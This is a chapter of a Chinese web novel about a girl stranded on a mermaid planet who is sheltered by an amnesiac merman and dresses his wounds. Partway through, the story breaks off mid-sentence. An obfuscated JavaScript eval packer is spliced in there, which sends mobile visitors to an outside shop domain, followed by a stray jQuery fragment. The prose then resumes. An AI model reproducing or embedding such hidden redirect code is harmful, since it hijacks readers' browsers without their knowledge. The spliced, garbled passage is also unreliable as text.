鲜嫩的鱼肉散发着淡淡的血腥气。
胃里传来一阵抽搐,四肢又受伤无力。看着送到嘴边的鱼肉,裴南初只犹豫了一秒,就低头凑近人鱼的掌心,就着他的手掌叼走了鱼肉。距离太近了,人鱼尖锐的指甲几乎要划过她的嘴唇。
他的手指轻颤了一下。
鱼肉同她想得一般香甜。
闻渝看着少女小口吃着他捕来的食物,心里涌起无尽的欢喜。
他尾巴轻轻甩动,自从醒来后他的记忆一片空白,但这个人类总给他一种非常熟悉的感觉。
他控制不住自己想要亲近她。
小猫般的吃法令裴南初嘴角不可避免地沾上了血迹,人鱼伸手帮她抹去。
闻渝就这样半躺在岸上看她吃饭,下半身的鱼尾随意地斜垂在水下,只是原本纯白色的鱼鳍此时也受心情影响微微泛出粉色。
他低头注视着人类,她身上的伤口还未结痂,还在流血,她应该尽快得到治疗;而且人鱼星球海面上的空气干燥,呼吸久了还有一股硫磺的灼烧感。
他想要带她到海里去。
那里温暖又舒适,水流会轻柔地拂过一切伤口,而且最重要的是,那里是他的领地,他熟悉海里的每一块暗礁,没有任何东西能伤害到脆弱的人类。
可他为数不多的记忆告诉他人类是不能在水下呼吸的,他们脆弱的肺不能从水中吸取氧气。
再等等……
裴南初吃完抬头,就见闻渝垂眼注视着她,顺着他的视线下去,以为他在看自己脖子上挂着的项链。
原身被打扮得像个精致的洋娃娃放在礼盒里,脖子上的项链自然也不是凡物,看不出品质的宝石光彩夺目。
裴南初依稀记得人鱼喜欢亮晶晶的物件。
她解下项链,像闻渝方才那样递过去。
人鱼有些迟疑,不太理解人类的动作。
裴南初温柔开口:“这是谢礼。”
人鱼鱼尾摆动的幅度更大了,裴南初将这理解为他很喜欢。
人鱼在她面前垂下头,露出同样布满细鳞的脖子。这是所有生物的致命弱点,人鱼却丝毫没有防备。
但人类少女的颈围还是太过袖珍了。
人鱼有些泄气,鱼尾瞬间暴露了主人的情绪,在湖面上甩了两下,砸出两朵浪花。
裴南初看着这般孩子气的动作,忍不住笑了起来。她握住人鱼冰冷的手掌,用另一只手捻起银链,小心翼翼地将它一圈一圈缠在人鱼的手腕上。
银链与他手臂上的鳞片格外相衬。人鱼抬起手腕,盯着它看了很久。
“喜欢。”
这次连裴南初也能听出他声音里的愉悦了。
月光洒落,时间流逝。裴南初靠在冰冷的山壁上,越发疲惫。眼皮像灌了铅,止不住地往下坠。她今天可干了太多事了……
一只冰冷的手忽然托住她,将她的脑袋放平在人鱼的鱼尾上。
很奇妙的触感,原本以为会很粗糙的鳞片居然十分细腻。人鱼身上也没有任何奇怪的气味,只有清爽的水汽。
裴南初意识迷离地发散着。同样冰冷的手指轻轻摸了摸她的脸颊,人鱼婉转的歌声传入耳朵,拉着她不可挽回地坠入了梦乡。
人鱼坐在岸边吟唱,歌声婉转低回,随着月光下的潮汐起伏。
人鱼的歌声美妙绝伦,是神话中诞生的音律。水手与猎物无一不被迷惑心智,直到人鱼尖锐的利爪贯穿他们的喉咙,猎物们依旧保持着幸福的微笑。
但这一次,他的吟唱只为了一个人的安眠。
裴南初做了一个很久的梦。
幻化无常的流云下,是至高的金色祭台,通天石柱上刻画着救世主的传说,无数虔诚信徒如蝼蚁般匍匐,低声诵念古老经书。
祭台之上是什么?
她拼命睁眼想要看清,但流变的云似乎同她玩闹一般,总是遮住她的视野。
那到底是什么!她的心在燃烧,不、不只是心,躯体也在困惑惶惶中仿若正在被碾压。
触手们不停拉着她下坠,从天下上下坠,却也正好躲避了流云的玩闹。
裴南初看清了,那是一条人鱼。
一条数米长的人鱼,肩膀宽阔,上身赤裸,耀眼的银白色鱼尾从他的下腹显现。若他还醒着,那必然是深海王者。但此刻他躺在陆地至高的祭台之上,这里是星际中心,群山之巅。若要从最近的海洋赶到此处也要跑过数十个日夜轮回。
脱水的人鱼,必然只会化作一具骸骨,献给救世主,再次祈求她的降临。
……因为这是她最钟爱的物种。
……
裴南初醒来时已近中午,充足的睡眠缓解了身体的不适,她刚起身,就见一些被揉碎的墨绿色海藻从她伤口处滑落。
这就是人鱼族的药吗?
裴南初也是第一次见,有些好奇地捧起来闻了闻,泛着淡淡的海腥气。
不过效果确实很好,昨日那些流血的伤口此时基本都结痂了。
山洞里人鱼不在,可能是去打猎了。
裴南初不是坐以待毙的性子,指尖轻轻敲击,那只黑色甲虫不知从何而来爬上了少女的手指。
在逃生舱最后坠亡前,她做的最后一件事就是用近乎枯竭的技能将虫群收回异能空间。
那是一个跳脱于世界与时间之外的地方,可以幻化成异兽们记忆里最舒适的环境。
她此刻的状态暂时没办法把虫群都放出来,但这一只就够了。
她将小家伙放在肩上,撑着石壁尝试向外探索。
小甲虫仔细记录着道路。
不知走了多久,带着咸腥的海风扑面而来,她眯着眼看向山洞外的海面,碧蓝的海水一望无际,波光粼粼,但奇怪的是太寂静了,一点生气也没有。
诺大的海面连一只海鸟都没见到,岛屿上肉眼所见之地也没有植物。
炽烈的阳光洒在洞口,她有些谨慎地伸出手去,下一秒——
好痛!
被阳光照射到的皮肤立刻红肿,传来一阵尖锐带有灼烧的刺痛。
裴南初突然回想起人鱼星球那无序的大气层,它根本无法过滤掉可怕的太空辐射。
怪不得没有海鸟没有植物,在这片星球上,大多数生物都生活在数千米的海洋之下。
她只是一个孱弱的外来者。
甲虫察觉到主人的不安,有些担心地闪了闪复眼,裴南初轻轻碰了碰它,以作安抚。
她缩回
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17633473|206492||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
石洞阴影深处,小甲虫用触角分辨着来时的气息。
就在这时,安静的通道里突然传来了沉闷的动静,是什么重物在地面上摩擦移动的动静。
裴南初谨慎地收回小虫,调动异能,看向昏暗的通道。
她见到了闻渝。
人鱼不同于人类,有便利的双脚可以在陆地上行走,人鱼流畅的鱼尾可以在海洋里畅游,但在陆地上就成了拖累。他只能依靠自己的上身撑在地上移动。
鱼尾下摆那些原本漂亮的鳞片此时正被坎坷的路面摩擦得掉落,露出下面细嫩的粉肉。
闻渝的嘴唇因为长期离水开始干裂,他面无表情,但裴南初总能看出一股深沉的恐惧。
裴南初心里突然好难过。
从前的闻渝从没有这种狼狈的模样。
那个温柔又强大的人鱼总会将自己每一片鳞片都打磨得闪闪发光,然后安静地呆在她身边,如果她要出门,人鱼再不喜欢上岸,也会幻化出双腿跟在她身后。
但现在,他一身旧伤趴在这条阴暗的通道里,尾巴鳞片掉了一地,上身也全是划痕。
她以为自己的离开并不会改变什么,但好像……
他比任何人都需要她。
她蹲下身,双手轻轻捧住闻渝的脸。
她温柔解释:“我并没有要离开,只是想看看外面是什么样子的。”
她要知道,这些年到底发生了什么?
她当年拯救的宇宙这么变成这样子。
她那么耀眼的孩子怎么被磨砺成这副模样。
裴南初半搀扶着人鱼回到水边,闻渝担心自己太重有点抗拒,可他又不愿松开人类,最后只能以一个十分小鸟依人般的姿势拉着少女。
“抱歉……我太重了。”人鱼将下巴抵在她肩窝,低声道歉。
认错态度倒是可以,但认错理由却错了。
一进海水,人鱼瞬间就有了几分生气,他轻轻摆动鱼尾,鲜血又逸出。
人鱼见她一直看自己狼狈的尾巴,有些心虚:“会长出来的。”
不会一直这么难看的。
裴南初有些无奈:“我不是这个意思。”
“我是想……要不要处理一下?”裴南初指了指方才掉在一旁的海藻。
人鱼本想摇头,对于人鱼来说这点小伤口不过几分钟就愈合了,根本用不着这些海藻。但他突然意识到,这好像是一个亲近人类的好机会。
这些海藻是他昨夜潜入深海采的,因为怕不够还特意多拿了些,此刻正好派上用场。
闻渝乖巧地趴在岸边,等着人类揉碎那些海藻,真的很奇怪,脑海里一片空白的他怎么就这么喜欢这个人类呢……
小小的鱼脑瓜想不明白。
裴南初将人鱼半抱起来,人鱼冰冷的胳膊环住人类的腰,顺势倒进了她怀里。
她没在意,低下头将海藻仔细敷在他的大尾巴上,那些冰冰凉凉的海藻汁液顺着鳞片流入伤口,让他的尾巴不自觉地微微卷起。
“疼了?”人类的声音很温柔,就在他耳边响起,“很快就好了,再忍一下。”
像在哄幼稚园的小朋友。
闻渝的耳朵已经红透了,整条鱼缩在她怀里不敢抬头。